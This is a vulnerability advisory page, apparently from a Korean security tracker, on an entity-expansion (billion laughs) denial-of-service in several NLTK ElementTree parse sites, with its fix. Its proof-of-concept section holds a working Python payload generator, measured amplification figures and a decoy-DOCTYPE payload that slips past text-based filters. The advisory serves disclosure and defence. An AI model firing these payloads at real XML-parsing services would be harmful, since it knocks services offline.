NLTK: Entity-expansion DoS (billion laughs) via remaining raw ElementTree parses
위협 신호 · CVSS · EPSS · KEV
이론적 심각도 점수
30일 내 악용 확률 예측
실측 악용 기록 없음
계획된 패치 주기 내 조치(60일 이내)
CVSS 벡터 · 메트릭
CVSS 벡터 정보 없음
상세 설명
Several XML parsing sites in NLTK still used xml.etree.ElementTree directly, which honours <!ENTITY> declarations in a document's internal DTD subset. A crafted document a few hundred bytes long can expand to megabytes in memory (each nesting level multiplies by ten), a denial-of-service.
Affected call sites (<= 3.10.2):
nltk.chunk.named_entity.load_ace_file— parses ACE annotation XMLnltk.internals.ElementWrapper— converts any given string to an Elementnltk.downloader—Package.fromxml,Collection.fromxml,_find_collections,_find_packages
libexpat 2.6.0 added an input-amplification cap, but it only engages above an activation threshold (~8 MiB output) and depends on whichever libexpat the interpreter links; builds against older libexpat have no cap at all. External entities are not resolved by ElementTree, so this is a memory-amplification DoS (CWE-776), not XXE/file disclosure.
This completes the earlier defusedxml adoption that these sites were missed by. Fix routes all of them through a new nltk.xmlsec module that refuses entity declarations, preferring defusedxml and falling back to a standard-library xml.parsers.expat pre-scan when defusedxml is absent.
Attack demonstration
Reproducible PoC against a real affected entry point (nltk.internals.ElementWrapper). Every number below is captured output, not illustrative.
1. The amplification (vulnerable path: raw xml.etree.ElementTree)
A payload of a few hundred bytes expands to megabytes in memory. Each nesting level multiplies output by 10 while adding ~56 bytes of input:
| levels | input bytes | expanded bytes | factor |
|---|---|---|---|
| 3 | 218 | 10,000 | x45 |
| 4 | 274 | 100,000 | x364 |
| 5 | 330 | 1,000,000 | x3,030 |
| 6 | 386 | (libexpat 2.7.1 cap trips) | - |
The level-6 cap is libexpat's, not NLTK's: it only engages above an ~8 MiB activation threshold, and older libexpat builds (still shipped with many 3.10/3.11 interpreters) have no cap at all. Under the threshold — up to ~1 MB per parse here — expansion always succeeds.
1import xml.etree.ElementTree as ET 2def bomb(levels): 3 d = "\n".join(f'<!ENTITY e{i} "{("&e%d;"%(i-1))*10}">' for i in range(1, levels+1)) 4 return f'<!DOCTYPE d [<!ENTITY e0 "AAAAAAAAAA">{d}]><d>&e{levels};</d>' 5ET.fromstring(bomb(5)) # -> element whose .text is 1,000,000 chars2. The patched entry point rejects it
1>>> from nltk.internals import ElementWrapper 2>>> ElementWrapper(bomb(5)) 3EntitiesForbidden: EntitiesForbidden(name='e0', ...)3. Why a text-based screen is not enough
An entity declaration can hide behind a decoy <!DOCTYPE> in a prolog comment. Raw ElementTree still processes the real declaration and expands; a guard that walks the DOCTYPE text is fooled. The shipped guard re-parses with expat, so it is not:
1evil = '<!-- <!DOCTYPE x [ ] > --><!DOCTYPE d [<!ENTITY a "PPPP...">]><d>&a;</d>' 1raw ElementTree -> EXPANDS ('PPPPPPPPPPPP...', 40 chars) 2nltk.xmlsec -> REJECTED (EntitiesForbidden)An earlier draft of the fallback that walked the text was bypassed by this and 4 similar payloads (decoy DOCTYPE in a PI, stray ] inside a PI in the internal subset). All five are now regression tests.
4. Both back ends block it
nltk.xmlsec prefers defusedxml and falls back to a stdlib xml.parsers.expat pre-scan. Same payloads, defusedxml hidden to force the fallback:
1stdlib fallback | billion-laughs -> REJECTED (EntitiesForbidden) 2stdlib fallback | comment-decoy differential -> REJECTED (EntitiesForbidden)Environment: python 3.13.7, libexpat 2.7.1. Confirmed identical amplification on python 3.10 (NLTK's floor).
AI 심층 분석
공격 시나리오 · 재현 가능한 PoC 페이로드 · 즉시 적용 가능한 차단 패치를 한 번에 받아 보세요. 보안 운영팀이 그대로 점검·티켓팅에 쓸 수 있는 형태로 정리해 드립니다.
참고 자료 7
링크 내용 불러오는 중…